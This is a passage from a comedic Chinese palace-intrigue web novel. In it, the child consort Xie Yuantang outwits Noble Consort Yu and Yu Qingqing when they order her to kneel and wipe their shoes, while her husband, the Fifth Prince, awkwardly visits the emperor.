“因为……
司徒砚顿了顿,被谢元棠引导着,本来迷茫的桃花眼忽然一亮,惊道:“因为他怕我们发现,他……他知道刺客去杀我们的事情!
谢元棠笑了,眼里却没什么笑意:“或许他不止知道,还参与了呢。
第75章 我跟我爹不熟
“如何?”
书房。
司徒烨看着进门的虞龙,沉声问道。
虞龙迟疑道:“他们……似乎有所察觉,但应该也不能确定。”
顿了顿,他说了跟言枫比武的事情,还有谢元棠套他的那些话。
“四殿下,我觉得他们就算知道也不敢做什么,跟咱们作对,无疑是蚂蚁对大象,他们总不会傻到找死吧?”
司徒烨沉着脸,手指不停地敲着桌面,闻言冷哼一声道:“蚂蚁对大象?你别忘了另一句话,千里之堤,毁于蚁穴。”
“自从谢元棠当上这个小皇妃以后,五弟带给咱们的惊喜还不够多吗?”
司徒烨扫一眼虞龙,嗤道:“还是你当保镖还没当够,不嫌丢人的?”
虞龙:“……”
他有些郁闷地嘟囔了句:“说话就说话,咋还人身攻击呢?”
“哼。”
司徒烨冷哼一声,阴阳怪气道:
“怎么,就五弟妹能攻击你,本宫就攻击不得你了?”
虞龙:“……”不仅阴阳怪气,还泛酸!
他看着格外古怪,跟被什么脏东西上身了似的司徒烨,没忍住问了句:“殿下,您最近是不是言情话本看多了?”
司徒烨:“……”
四皇子登时变了脸色,一脚踹过去:“你找死是不是!”
虞龙捂着小腿躲开,憨笑道:“现在正常多了!”
司徒烨冷哼,咬了咬牙警告:“还有,不许告诉旁人本宫看言情话本的事!”
“是是是,我保证谁也不说!”虞龙连忙发誓。
司徒烨别扭地看他一眼,这才多少消了气,指指对面道:“你坐吧,今日辛苦你了。”
两人从小一块儿长大,说是表兄弟,其实比亲兄弟都还亲近些,虞龙也没跟他客气,往那儿一坐,疑惑地问:“殿下,您是不是心情不好?”
不然也不能这么阴阳怪气的。
司徒烨烦躁地喝了口茶:“知道母妃做了那种事,本宫心情能好吗?”
虽然虞贵妃极力隐瞒,但司徒烨自有自己的手段,加上虞贵妃用的还是虞家的人,就更容易查了。
在得知她竟然派人去刺杀司徒砚和谢元棠时,司徒烨先是不解,而后却
是立即派了虞龙去试探。
“本宫没想过让五弟死,但……他若挡了本宫的路,本宫也只能先下手为强。
司徒烨心情有些复杂,平心而论,他从未将司徒砚一个傻子看做他的对手,可他的母妃既然做了这样的事情,他便没有别的选择,只能动手。
虞龙沉默着没有开口。
别人不知道,他却是了解的,别看司徒烨平日里耀武扬威的,其实私下是个心思很细腻的人,否则也不会背地里爱看言情话本了。
平日里欺负司徒砚那是一回事,但真的动手杀一个傻子……就算成功了,也有种恃强凌弱的卑劣感。
“那……接下来殿下打算怎么做?虞龙问道。
司徒烨沉吟片刻:“明日,本宫亲自去见一见他们。
他要确定谢元棠和司徒砚的态度,才能决定接下来的行动。
只是他没想到,和他同样想法的,还有他的母妃虞贵妃。
——
这些事情谢元棠都不知道。
她将四块铁令牌谢元棠交给言关清就没再过问,但即便不知道,她也能猜得到对手的一些反应。
次日,谢元棠跟司徒砚一块儿去学堂。
不意外的,没有见到司徒煦和司徒凤。
自从他们第一天被谢元棠教训了一通以后,只要谢元棠来学堂,姐弟俩就默契地不出现。
谢元棠现在不用再去惠坤宫学规矩,少有的安安生生上了一天课,期间只和孙逢必等人“友好交流了一番。
只是她没料到,姜皇后不来找她的麻烦,却还有人想要见她。
谢元棠看着站在学堂门口的太监,歪了歪头道:“虞贵妃要见我?
“是呢,贵妃娘娘想见您很久了,这不听说您回来了,就赶紧让奴才来请您了。
“只见我?我夫君呢?
“这……
太监犹豫地道:“贵妃娘娘说虞小姐也在,五殿下去恐有不便。
谢元棠嗤笑一声,不便?虞龙都成天往宫里跑,那时她怎么不说不便?
不过正好,她也想去会会这位虞贵妃,看看
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对方到底有几分本事。
谢元棠眼珠微转,抬头看向司徒砚道:“夫君,我去贵妃娘娘那里玩儿一会儿,
你是先回家呢,还是等我呢?”
“等娘子。”司徒砚毫不犹豫道。
“可是你总不能干愣着等我吧?”
谢元棠想了想道:“要不你去找父皇玩儿一会儿吧,等会儿咱们一起走。”
太监:“……”皇上若是知道了这事,虞贵妃还怎么动手脚?
司徒砚:“……”见父皇跟上考场有区别吗?他是等人又不是皮痒。
两人不说话,只幽怨地看着谢元棠。
她是懂怎么一句话让两人同时沉默的!
半晌,司徒砚修勾摇尾小声嘟囔:“能不能不去找父皇啊?我跟他不熟,没话说的……”
“他是你爹,你得跟他熟!”
谢元棠手指头戳戳他腰眼:“再说你跟谁熟?除了府里的,你还说得出来吗?”
司徒砚抬手一直旁边路过的:“跟孙逢必熟!”
孙逢必:“……”不,放过我吧!
谢元棠不客气地伸出小巴掌啪在他手背上:“不许这么没出息。”
跟他熟怎么就没出息了?
孙逢必憋红了脸,气道:“你俩够了,我没聋!”
谢元棠嘻嘻一笑:“那就麻烦孙同学,陪我夫君一块儿去面个圣呗!”
孙逢必:“……算了,你还是当我聋了吧。”
面圣?
那跟要他的命有什么区别!
谢元棠笑得灿烂,小拳头却举了起来:“孙同学,你说神马,伦家肿么没听清楚呢?”
孙逢必本能地往后退了两步,举手投降:“我去,我去还不行嘛!”
面圣那也是待会儿才要命,但他现在不答应,那就是此时此刻立马没命!
谢元棠这才满意地点点头,又叮嘱了司徒砚两句,才跟太监一块儿走了。
看着她一蹦一跳走远的背影,孙逢必气得跺脚。
“猖狂!太猖狂了!”
他转过头,恨铁不成钢地瞪着司徒砚:“五殿下,您说您好歹也是个皇子,还是她夫君,您就不能管管她!”
第76章 是谢丞相的妹妹
“可是……”
司徒砚郁闷地耷拉着脑袋:“可是我管了她,她不理我了肿么办?”
孙逢必惊呆了。
你堂堂皇子怕她个小屁孩?怕个吊啊?
他大手一挥:“不理就不理啊!”
司徒砚摇头:“娘子不理我,我会难过得吃不下饭的!”
他说着,忽然俊脸一沉,瞪着孙逢必:“你故意的!”
孙逢必心里咯噔一声,心说:卧槽~这么快就反应过来,知道我是在挑拨离间了?
结果心声还没想完,就听见司徒砚气沉丹田的一句质问:“你故意不想让我吃饭对不对?”
孙逢必:“……”是他想多了!
他摆摆手:“您吃,您随便吃!”
司徒砚哼了哼,他或许不能及时想通孙逢必的内涵,但他朴素的价值观依旧无敌!
想让他难过得吃不下饭,等于不让他吃饭,等于杜韦,等于坏蛋!
逻辑链严丝合缝,无敌!
司徒砚还仗着身高优势,低头瞥了孙逢必一眼,回怼他:“娘子刚才又没打你,你怕什么?”
闻言,孙逢必突然愣住。
对啊,他怕什么?
谁知道啊,当时谢元棠一伸拳头,他下意识就怂了!
这难道就是传说中的一朝被棠咬,十年见棠怂?
孙逢必满腹心事,满肚子郁闷,不甘不愿地陪着司徒砚去见皇上。
司徒擎刚批完奏折,听说五儿子破天荒主动来找自己,惊讶地御笔都掉在了地上。
“就砚儿一个人?元棠没有来?”
“小皇妃没来,是孙逢必陪他来的。”
曲培微笑着回,没有提两人脸上那便秘一样的表情。
司徒擎蹙眉:“难道是出了什么事?让他们进来吧。”
“是。”
曲培出去叫人。
司徒砚进来,规规矩矩地行了礼,然后老老实实地站着,一句话不说。
司徒擎看着木头一样的儿子,再看看旁边恨不得把自己埋进地里,就地土葬了的孙逢必,疑惑地问:“砚儿,你找朕何事啊?”
司徒砚抬头看他一眼,桃花眼中满是迷茫,摇了摇头道:“没事啊。”
司徒擎:“……
”
曲培在一旁轻咳一声小声提醒:“五殿下皇上是问您为什么会来这里。”
司徒砚:“是娘子让我来找父皇玩儿的。”
“咳咳……”
司徒擎一口茶全喷在了折子上他惊讶地看着儿子:“谢元棠让你来找朕……玩儿?”
“嗯。”
司徒砚点点头道:“娘子说我跟孙逢必熟没出息要我跟父皇熟。”
一旁的孙逢必:“……”谢邀前半句大可不必提我!
想到谢元棠小大人似的说这话的场景司徒擎不禁被逗笑一招手赐座笑着问儿子:“她还真敢说小丫头哪儿去了怎么不过来?”
“有个太监说虞贵妃找娘子娘子跟他走了。”司徒砚乖巧道。
“哦?”
司徒擎眉尾微挑目光闪了闪笑意不明地对曲培道:“你瞧瞧小丫头的算盘珠子都快崩朕脸上了。”
自己被虞贵妃叫住就连忙让司徒砚来找他这是怕虞贵妃找她麻烦提前跟他这里了备案呢!
曲培赔着笑道:“小皇妃机警惯了只是不知贵妃娘娘突然召见……所谓何事呢?”
司徒擎轻呵一声也没继续这个话题
司徒砚皱着眉头犹豫着问:“必须说话吗?我就坐在这里不行吗?”
司徒擎:“……”倒也不是不行。
司徒砚眨眨眼:“而且父皇你一天要说那么多话嘴巴很累的不用再跟我说话了我……”
他话音一顿声音降低了两度:“我笨说不了什么让父皇喜欢的话的。”
听着前半句司徒擎脸上还带着笑意后半句却让他心中蓦地一疼。
回想这十多年来他问过太子的政事教过其他几个儿子功课也关心过几个女儿的婚姻大事。
但对司徒砚他却从来没有私下问过他最近过得如何功课可有进步?
他看着乖巧得似孩童的儿子心中有些愧疚沉
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默片刻问:“最近在学堂可还顺利?既然你跟孙逢必一同前来想必是交到朋友了吧?”
又被点名正努力“土葬自己”的孙逢必顿时一个激灵
,挺直了脊背。
司徒砚点点头:“嗯,是朋友,他教了我很多。”
孙逢必感动得差点哭出声来,他没想到自己随便敷衍,司徒砚竟然真将他当成了朋友。
再想想自己……真不是东西啊!
司徒擎饶有兴趣地问:“哦?他都教了你什么?”
司徒砚脱口而出:“教我要守男德!”
众人:“……”
孙逢必:“……”还是让我死了吧,我说真的!
曲培在一旁小声提醒:“五殿下,听说您前两日去了华觉寺,那儿好玩儿不?不如跟皇上讲讲?”
司徒砚眨眨眼看着司徒擎:“父皇想听吗?”
司徒擎笑着点头:“说说看,你这一路都遇着了什么好玩的事?想必有元棠那个小丫头在,你们不会无聊的。”
“不无聊,很忙的。”
司徒砚掰着手指头数:“要爬山,要干架,还要捉奸……”
“噗……咳咳咳咳!”
“陛下,陛下您当心!”
司徒擎被这话呛得猛地咳嗽起来,曲培脸色一变,急忙上前帮他顺着背。
司徒擎抬手推开他,皱眉问司徒砚:“你刚才说什么?干架?捉,捉奸?”
司徒砚点点头:“是啊!”
司徒擎脸色沉了下来,不悦道:“荒唐,你们去的不是寺庙吗?做的都什么事?”
曲培见状不对,连忙小声道:“殿下,您快说说这到底是怎么回事?别让陛下担心您。”
司徒砚歪了歪脑袋:“父皇您也很生气吗?娘子和娘子的娘当时也可生气了,还有那天上山的人,大家都很生气,就因为谢雪瑶那个坏女人在小树林偷人,她可坏了!”
司徒擎眉头越皱越紧:“谢雪瑶?这名字怎么……有点耳熟呢?”
曲培在一旁悄悄松了口气,提醒道:“是谢丞相的亲妹子。”
第77章 棠棠被欺,到底是砚不行,还是砚很不行!
“谢兆青?怎么又是他!”
司徒擎眼里闪过一丝不耐,他以前还没觉得,最近越来越发现他这位丞相是真的不行。
他看着司徒砚,问道:“怎么个事儿,你说清楚?”
司徒砚就开始讲了,省略开口中间结尾,大概就是:
“娘子跟娘子的娘说……娘子的娘说……娘子说……娘子和娘子的娘……”
听得司徒擎脑袋都胀了,一摆手黑着脸打断他:“什么这个娘那个娘的,你不会好好说话?”
司徒砚乖乖狗眨眼:“我在好好说话啊。”
司徒擎冷哼一声,转头看向孙逢必:“你来说!”
“啊?”
孙逢必呆呆抬头:“我不造啊!”
司徒擎:“你们不是朋友吗?”
孙逢必:“我……也是今天才造我们是朋友哒……”
司徒擎、曲培:“……”
从孙逢必那里闻不出来,司徒擎才没好气地又看向儿子:“你接着说。”
司徒砚看着他父皇,抿了抿唇,白皙的脸颊微微凝起,轻哼了声。
“我不说了。”
司徒擎:“……”
“你说什么?”
司徒擎睁大了眼,还没有人敢这么忤逆他!
这个儿子,竟然敢!
“皇上息怒,奴才想五殿下肯定不是这个意思。”
眼看皇上有发怒的趋势,曲培连忙劝和,转头朝司徒砚不停使眼色:“殿下啊,皇上问您话呢,您怎么能不说呢?”
司徒砚哼道:“你嫌我笨!别以为我听不出来,娘子说过,谁打断我说话,就是不尊重我!”
“你不尊重我,我再跟你说话,就是拿我的屁股去贴你的脸!”
说到这里,他略带嫌弃地扫了眼司徒擎的脸,蹙眉道:“我不想贴……”
司徒擎:“……”
什么意思?你嫌弃什么?你不想贴朕脸,难道朕很想贴你的屁股吗!
九五之尊少有的,被气得嘴唇都在发抖。
大手蓦地一拍龙椅扶手,怒喝:“放肆!”
话音刚落,司徒砚秒跪!
还坐在那里的孙逢必看见他毫不犹豫地滑跪,眼珠子都快飞出来了。
不是啊大哥你跪之前能告诉我一声吗?
说好的朋友呢!
孙逢必欲哭无泪腿上却是一点不带犹豫的一个滑跪扑倒在地。
偶滴陛下啊~您千万当个明君呐!要杀要剐冲着您儿子去这事跟我可一毛关系没有哇!
实在不行我愿意拿屁股贴您的脸!您贴我也阔以哇!
幸好司徒擎听不见孙逢必的心声否则定赐他一个午门斩立决!
大殿中一个龙颜大怒一个小龙微怒。
父子俩四目相对最终还是司徒擎败下阵来。
没办法他觉得自己要是不先认输五儿子能瞪他一整天!
揉了揉瞪疼的眼皮司徒擎叹了口气道:“好朕收回方才的话你重新说朕不再打断你了。”
司徒砚桃花眼一挑眨了两下大度地点点头:“那好吧我原谅父皇你了。”
司徒擎:“……”朕是慈父朕忍!
司徒砚再度开口其余三人从他满口的“娘子”和“娘子的娘”里勉强拎出事情脉络。
听到最后谢雪瑶被送下山交给官府的时候孙逢必忽然恍然大悟:“这事我造啊!赵将军家的大门还堵着呢!”
司徒擎黑脸:“……”造造造早干吗去了!朕忍着听完了你造了!
“后来我们就下山啦然后路上还……”
司徒砚说到这里忽然捂住嘴巴。
他这副样子让人不好奇都难司徒擎就问:“嗯?路上还怎么了?”
司徒砚捂着嘴巴猛摇头:“不能说父皇不要问。”
司徒擎眯了眯眼:“朕命令你说!”
司徒砚还是摇头:“我笨我说不好父皇问舅舅。”
言关清都知道的事他竟然不能知道?
司徒擎看着儿子
——
在司徒擎和司徒砚“父子天伦”的时候莞月宫里谢元棠正跪在地上给虞贵妃擦鞋。
是的擦鞋!
如果古代后宫有热搜那此处热搜应是:
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#惊!大佬棠竟成擦鞋匠!
#宝贝女儿都下跪了司徒砚你还不死来!
#棠棠被欺到底是砚不
行,还是砚很不行!
谢元棠小手拿着手帕擦得仔细,旁边虞卿卿趾高气昂地讥讽道:
“擦干净点,一会儿还有本小姐的鞋呢!”
谢元棠垂下眼,嘴角勾起一抹邪笑,表面却乖讷地应了声:“是。”
这件事还要从头说起。
半个时辰前,谢元棠被叫来莞月宫,就看见虞贵妃和虞卿卿都在这里。
虞贵妃今年三十,比姜皇后还年轻一些,肌肤白皙,体态丰盈,坐在那里自有一股雍容奢华的贵气。
刚开始,她倒也没有明着找麻烦,只不过聊着聊着,话题就转到了谢元棠和虞卿卿比试,让虞龙当保镖的事情上。
虞贵妃懒洋洋地倚在贵妃椅上,居高临下地扫视着谢元棠,轻笑道:“元棠,本宫知你聪慧,连皇后都拿你没办法,本宫便也有话直说,不跟你玩那些逗小孩的把戏了。”
谢元棠歪了歪头,笑嘻嘻道:“好滴呀,贵妃娘娘请讲~”
虞贵妃轻哼一声,淡定开口:
“本宫不愿做那恶人,可是你在围猎场的作为,直接将本宫和虞家推向了风口浪尖,本宫实在无法不管不问啊。”
“今日找你来,本宫就是想问一问,你是打算跟本宫和虞家做朋友呢,还是做敌人呢?”
谢元棠大眼睛里满是纯真,无辜又无害。
“棠棠不太懂,贵妃娘娘神马意思呀?做敌人怎么做,做朋友又怎么做嘞?”
虞贵妃手指轻轻抚摸着刚做过的美甲,语气轻描淡写,却又无端地让人感受到一股杀气。
“做敌人么,很简单,就是有本宫和虞家在的地方,就没有你五皇子府的份,包括谢家,包括言家,只要本宫想,徒手捏死一两只蚂蚁还是很简单的。”
“至于做朋友么……”
她淡淡地扫了眼谢元棠,忽地手指轻轻一扫,将茶杯扫在自己鞋尖。
“哎呀,本宫的鞋子脏了呢!”
第78章 娘娘你的鞋子尿尿了!
谢元棠看看她的鞋尖,乌溜溜地大眼睛呼扇呼扇,惊讶地叫道:“哇,娘娘你的鞋子尿尿了!”
虞贵妃:“……”
她太阳穴跳了两跳,冷哼道:“谢元棠,你是真听不懂,还是跟司徒砚一样傻了?”
谢元棠眨眨眼:“夫君不傻,父皇亲口说的,贵妃娘娘是觉得父皇说的话不对吗?”
“放肆!”
虞贵妃猛地一拍桌子,脸上没了丁点笑意:“看来,你是要选择做本宫的敌人了。”
谢元棠:“不是呀~”
虞贵妃眯着眼看着装傻充愣的小丫头:“那你是要当本宫的朋友?”
谢元棠嘟着小嘴:“可是偶不会呀~”
车轱辘话被谢元棠翻来覆去的说,就是一点行动都没有。
一旁的虞卿卿看得着急,直接道:“蠢笨如猪!娘娘是让你给她擦鞋!”
“哦~~~”
谢元棠恍然大悟,一拍手道:“原来做朋友就是擦鞋呀!贵妃娘娘您早说嘛!我还以为您鞋子尿了呢!”
虞贵妃眼角微抽,强忍着让人把这丫头打出去的念头,冷哼一声道:“既然知道了,还不跪过来?”
“没问题呢!”
谢元棠从怀里掏出纯白小手绢,乐呵呵的跟个幼崽二哈似的,屁颠屁颠就跑了过去。
跑到虞贵妃跟前,噗通一声干脆地跪在地上。
不过由于她跪得过于迅速,而导致没有跪稳,膝盖都跪下去了,上身却失衡地朝虞贵妃栽了过去!
“哎呀呀~要倒了要倒了~”
谢元棠一边惊呼,小手一边飞快地朝虞贵妃身上抓过去。
一双肉肉的小爪子不知道怎么长得,又快又利!
虞贵妃人都还没反应过来,就感觉自己被什么小兽给狠狠地咬了好几口!
紧接着。
“刺啦!”
一道清脆的破裂声后,虞贵妃身上那件布衣坊花了三个月才赶制出来的华服骤然裂开!
而且是从胸口裂到肚脐,可见那双小爪子刚才是抓了哪儿!
旁边虞卿卿惊得呼吸都停滞了。
“谢元棠!你……”
虞贵妃气得颤抖着手,抬手就想打她,但想起姜皇后的下场,又忍了。
谢元棠慌乱地眨巴了下眼睛,讨好道:“娘娘您不会生气吧?伦家不是故意哒……”
虞贵妃深呼吸,再深呼吸,咬牙切齿道:“本宫不生气,一件衣裳而已。”
谢元棠嘿嘿一笑道:“娘娘大气!而且其实这深v造型也挺好看呢,全后宫独一份,引领潮流呢!”
虞贵妃:“……”深v?这都开衫了吧!
她抬着脚,鞋尖都快杵到谢元棠鼻尖了:“擦鞋!”
谢元棠往后挪了半步,眯着眼笑得乖巧:“好的呢亲~”
她一只小手捧着虞贵妃的脚踝,另一只手拿着手帕擦拭鞋尖的水渍。
小小的身子和低垂的脑袋挡住了所有人的视线。
谁也没看见谢元棠单手从随身研究室取出了一小包召鼠粉出来,不着痕迹地抹在虞贵妃的小腿上,脚踝上,鞋子上!
召鼠粉——只需半小时,无色又无味,保你十天之内,随时随地召唤上百只小鼠鼠,是单身狗寻找朋友和伴侣的最佳捷径!
末世顶级医学博士出品,信誉有保证!
谢元棠一边擦鞋一边抹药,小脸缓缓乐开了花。
虞贵妃低头看着她脸上傻妞一样的笑容,不由皱了皱眉。
她从虞卿卿那里和儿子司徒烨那里都听了谢元棠很多传闻,还以为这会是个难对付的刺头,没想到就这?
难道是近墨者黑,被司徒砚传染傻了?
她挑了挑眉,朝虞卿卿使了个眼色。
虞卿卿立刻意会,讥讽道:“擦干净点,一会儿还有本小姐的鞋呢!”
谢元棠一点也不生气,表情和语气都像极了末世的客服机器人:“好的,亲亲请稍等哦~”
她擦了好一会儿,甚至在虞贵妃表示已经可以的时候,她还擦了好几下。
没办法,药粉没抹完嘞!
“该本小姐了!”
虞卿卿迫不及待地伸出脚。
她终于可以一雪前耻,报当初在围猎场的仇
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了!
虞卿卿恶狠狠地瞪着谢元棠,心里冷笑:谢元棠,你就等着吧!本小姐要用脚踩烂你的脸!
谢元棠对她的恶毒视线好像完全不知似的,她站起身,伸了个懒腰,捶了捶膝盖道:“哎哟跪麻了~”
虞卿卿能给她
休息的时间?
自然是不能!
她冷哼一声道:“你快点!”
谢元棠看她一眼叹了口气道:“好吧我这就去!”
她一边说话一边往虞卿卿那里一瘸一拐地走。
一边走还一边嘟囔:“不行不行腿好麻……走不了了哎呀呀要摔了!”
说着整个人左脚绊右脚踉跄着往前栽过去。
虞卿卿本来还在看戏待看见她是朝着自己栽的时候脸上顿时就笑不出来了!
“谢元棠你敢……你别过来……”
话音未落
“哐当哐当!”
“噼里啪啦!”
一阵混乱之后只见虞卿卿倒在地上身上全是茶渍还有碎裂的茶杯!
至于谢元棠?
谢元棠也倒了倒在她旁边刚好避开了所有的茶水和碎瓷片!
虞卿卿看着自己身上的脏污气得一脚就朝谢元棠踹过去:“臭丫头你故意的是不是?我打死你!”
谢元棠惶然地坐起来惊慌道:“我没有呀……呜呜呜不要踹棠棠啦……”
她一边哭一边下意识地伸出小手紧紧抱住了虞卿卿踹过来的腿!
虞卿卿:“……”突然被封印那一脚踹不出去也收不回来!
“你给我放开!”
谢元棠眨眨眼委屈地吸了吸鼻子:“哦好吧~”
说着小手不着痕迹地一扯一抬再一松!
“夸嚓!”
只听裤裆撕裂的声音响起。
虞卿卿给众人表演了个当场劈叉!
还是劈在碎瓷片上的大横叉!
“啊啊啊啊!”
惨叫声从莞月宫飘荡出来。
虞卿卿惨白着脸痛哭流涕。
一时都不知道是该哭自己流血的大腿还是哭她的开裆裤!
第79章 人好惨!瓜好香!
“我的腿!我的裤子!”
“呜哇哇哇……姑母救我,我好疼啊!”
莞月宫中,虞卿卿哭声绕梁,余音不绝于耳。
不止宫女莞月宫的人听见了,连附近的其他嫔妃娘娘都听见了。
钟俪宫。
俪妃停下了描眉的手,挑眉看向莞月宫的方向。
“嗯?嘿嘿~虞莞书这是又养八哥了?”
“我听着怎么像是虞卿卿的声儿?”
司徒凤站起身来,双眼冒着吃瓜的星星。
“母妃,女儿想去看……不,关心一下卿卿。”
俪妃白了她一眼:“得了吧,你什么样儿本宫还不了解?去吃瓜可以,看看热闹就行了,别把自个儿搭进去,知道吗?”
“母妃您就放心吧!”
司徒凤娇哼一声,傲横地道:“只要谢元棠那个克星不在,女儿在宫中就没有敌手!”
温娴宫。
正在浇花的娴妃微微一顿,侧了侧头看向窗外。
而后轻叹了口气道:“哭得这般凄惨,定然是出事了,冉儿,你身为二皇兄,理当替你父皇分忧,既然你今儿有空,去就看看吧。”
“是,母妃。”司徒冉应道。
悦影宫。
正在下棋的母子二人都是一顿。
影妃微笑:“这一嗓子嚎的,宫里又要热闹了。”
“咳咳……”
司徒墨咳嗽两声,沉吟道:“听方向,应该是虞贵妃那边的,虞贵妃无女,大概是虞家那位小姐吧。”
影妃抚摸着手中的白子,轻声道:“虞贵妃骄横多年,虞家更是仗势凌人,今日也不知是谁,竟能在虞贵妃的地盘,让虞家人吃了亏。”
顿了顿,她看向若有所思的儿子,放下棋子道:“你好久没有出门了,不如出去逛逛?”
司徒墨微抿唇,起身道:“儿子听母妃的。”
司徒凤,司徒冉,司徒墨不约而同的走出家门,只为吃瓜!
司徒凤最快,几乎是一路小跑到了莞月宫。
而后就看见了她的克星——谢元棠!
谢元棠看见她,亲切地招小手:“哎呀三妹快来,虞卿卿裤裆裂开了,三妹快来帮忙呀!”
司徒凤:“……”
到底是吃瓜的心战胜了一切恐惧她想也不想就走了进来笑着行礼:“贵妃娘娘安我和母妃听见这边的声音以为出了什么事让我来看看有没有能帮忙的。”
俗话说伸手不打笑脸人来都来了虞贵妃总不能把人往外赶。
她扯了个勉强的笑容道:“劳你母妃挂心只是卿卿不小心受了伤而已。”
司徒凤走过去看着已经被扶起来双腿却还不自然打着摆子的样子惊呼道:“天呐!这是……你腿被打折了吗?”
虞卿卿咬牙瞪着谢元棠:“都是你!”
谢元棠眨眨眼小脸满是委屈:“不是你要给你擦鞋嘛~既然你觉得委屈那咱们去找父皇评理好了!”
虞卿卿:“……”她这样怎么见皇上!
虞贵妃:“……”找了皇上她们让谢元棠下跪擦鞋的事不是穿帮了!
两人对了个眼神虞卿卿立刻懂了虞贵妃的意思。
姑母让她咽下这口气!
虞卿卿一边提溜着裤带一边瞪着谢元棠的眼睛恨不得将她吃了恨恨道:“算了!这件事我认了!”
谢元棠歪头:“别介呀~不用你认咱们去找父皇……”
“元棠!”
虞贵妃微笑着打断她的话:“不过是件小事不值得劳烦皇上这事只是个意外对吗卿卿?”
虞卿卿眼泪疼得往下掉下意识抬手去擦了下眼泪。
刚一抬手裤子又掉了!
顿时又赶紧去提裤子……
一番动作下来她“哇”一声大哭起来:
“对呜呜呜……只是个意外嘤嘤嘤……”
她委屈她恨
司徒凤站在旁边看着这精彩的一幕惊得嘴巴都合不上了。
同时心中不由庆幸幸好她听了弟弟的话没有再去招惹谢元棠否则今日倒霉的就很可能是她了!
司徒凤心里想着扫了眼虞卿卿的裤子。
又扫了眼再看一眼忍不住再看N+1眼……
噗!
虽然但是……人好惨!瓜好香!
虞贵妃宣了御医来帮司徒凤诊治等她包扎完又换了裤子司徒墨和司徒冉才慢腾腾走到莞月宫
。
哥儿俩在门口看见对方,脚步都是一顿。
司徒冉微笑:“三弟身体可好些了?”
司徒墨拱手:“好多了咳咳……多谢二皇兄担心。”
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得知又有人来看热闹,虞贵妃太阳穴疼得一阵阵抽。
气道:“就说本宫乏了不见客,卿卿那里……让人送她回去。”
留在这里,指不定还要招来多少吃瓜的呢。
司徒冉和司徒墨连虞贵妃面都没见到,就看见司徒凤和谢元棠走了出来,身后是被宫女半扶半抬着的虞卿卿。
几人在莞月宫外面面相觑。
“三妹也在?”
司徒冉看了眼司徒凤,又笑看着谢元棠:“原来是五弟妹在这里,怪不得莞月宫如此热闹。”
谢元棠大眼睛眨巴眨,瘪着小嘴道:“二皇兄,你阴阳我!我听出来了哦~”
司徒冉笑着逗她:“听出来就对了。”
谢元棠朝他皱皱鼻子,转头看向他旁边的男子,眼睛一亮道:“哎呀,美人,我们又见面啦!”
司徒墨微笑,司徒冉无奈摇头道:“五弟妹,这是你三皇兄,不可无礼。”
“原来是三皇兄呀!”谢元棠小脸笑嘻嘻的,眼中却也没多意外,明显早就猜到了。
“三皇兄也是来看虞卿卿的吗?”
几日不见,小狐狸仍然是小狐狸。
司徒墨眼中微微泛起笑意,顺着她的话问:“哦?虞家小姐出什么事了?”
走在最后的虞卿卿脸色一变,还来不及开口,大喇叭司徒凤就大声道:
“她没事干劈了个叉,裤子裂开了!”
司徒墨:“……”真会玩。
虞卿卿:“……”真社死!
司徒冉又问:“那五弟妹怎会在这里?”
“哦,那是因为……”
“谢元棠!”
这一次虞卿卿不等谢元棠张口,就急忙打断她:“事情既然过去了,就不要再说了!”
谢元棠迷茫地扯了扯脑袋上的绒球:
“什么事呀?哦~你是说你和贵妃娘娘让我跪下,帮你们擦鞋的事情咩~”
虞卿卿:“……”你嘴巴抹油了吗说那么溜!
司徒墨眯眼,司徒冉挑眉:“让你跪下,擦鞋?”
“什么擦鞋?”
话音刚落,忽然一道熟悉的声音从外面传来。
众人齐齐转头,看见司徒煦和司徒烨并肩走来。
谢元棠眼睛乌亮乌亮的,由衷的发出感慨:
“好多人啊!”
第80章 癫了!全都癫了!
司徒烨皱眉看着一群人:“你们怎么今日都来了我母妃这里?”
他和司徒煦是今天碰头的,本来是想商量接下来如何应对司徒砚和谢元棠的事情。
司徒煦建议直接虞贵妃摊牌,既然是一个团队的人,那劲儿就该往一处使,省得今后再出现什么刺杀失败的事情。
于是两人才来了莞月宫。
只是没想到刚到门口,就看见这里围了一堆的人。
司徒煦目光不着痕迹地往司徒冉和司徒墨,眼珠一转,嘴角扬起一抹恶劣的笑容。
“我刚才在外面好像听见你们说什么擦鞋?怎么回事?”
一直装死的虞卿卿听到这里,顿时一个死鱼复活!
张口就嚎:“没有!什么事都没有!”
这个节骨眼,拼的就是谁嘴快!
虞卿卿不说还好,她一开口,顿时将司徒烨和司徒煦的目光都吸引了过来。
尤其看见她虚弱无力地靠在宫女身上,明显不适的样子,司徒烨皱眉问:“卿卿,你怎么了?生病了?”
虞卿卿:“我没事!我很好!我一点没病!”
司徒煦狐疑地打量她,视线在她打着抖的腿上顿了一顿:“是吗?我怎么觉得你好像有点大病呢?”
“哎呀卿卿,大家都是自家人,又不是什么丢脸的事,何必见外呢?”
这天大的瓜,大喇叭司徒凤可憋不住。
她咧着大白牙笑道:“卿卿她呀,劈了个叉,给自己裤裆劈裂了!”
谢元棠紧随其后,咧着大白牙二号举手发言:“是贵妃娘娘和虞卿卿让我跪下给她们擦鞋,我腿都跪麻了,这才一不小心撞到她~”
司徒煦、司徒烨:“……”
槽点太多,一时不知道该从哪里开始吐。
虞卿卿:“……”让她死吧,真的!
人生有这么丢人的一次经历已经够了,她已经不想活了!
最后还是司徒烨发话,对几个宫女道:“你们先送她回去吧。”
“是。”
虞卿卿感动流泪,还是表哥好!
看着虞卿卿离开,谢元棠伸了个懒腰。
“哎呀~又活了一天,真累!”
众人:“……”
“咳……”
太子不在,作为群龙之首的司徒冉清了清嗓子,开口道:“咱们别在这里打扰贵妃清净,还是先离开吧。
众人刚想点头,就听见谢元棠笑着道:“那我先走了哟~我还要去父皇那里找夫君呢!
父皇?
一听“父皇俩字,小龙们顿时耳朵尖都动了!
司徒烨和司徒煦交换了个眼神,心里都是同一个猜想:老五竟然去找父皇了?他该不会是去说刺客的事了吧?
司徒冉内心:老五傻不愣登的,竟然还知道讨父皇欢心?
三人心念一转,几乎同时开口:“我们跟你一起去!
谢元棠:???
你们怕不是有毛病吧?
那是我夫君,又不是你们夫君!
司徒凤就喜欢凑热闹,顿时巴巴地说:“你们都去,那我也去!
谢元棠看着唯一没开口的司徒墨,没好气地问:“三皇兄,你该不会也要去找我夫君吧?
司徒墨呵呵一笑:“去看看也无妨。
谢元棠:“……癫了!全都癫了!
一时间群龙集体低头,看向在场唯一的小矮子——谢元棠。
谢元棠无语!
想去就去吧,反正他们也抢不走她的傻夫君。
谢元棠哼哼,小胳膊霸气地叉腰,小手一挥道:“那就都跟我来吧!
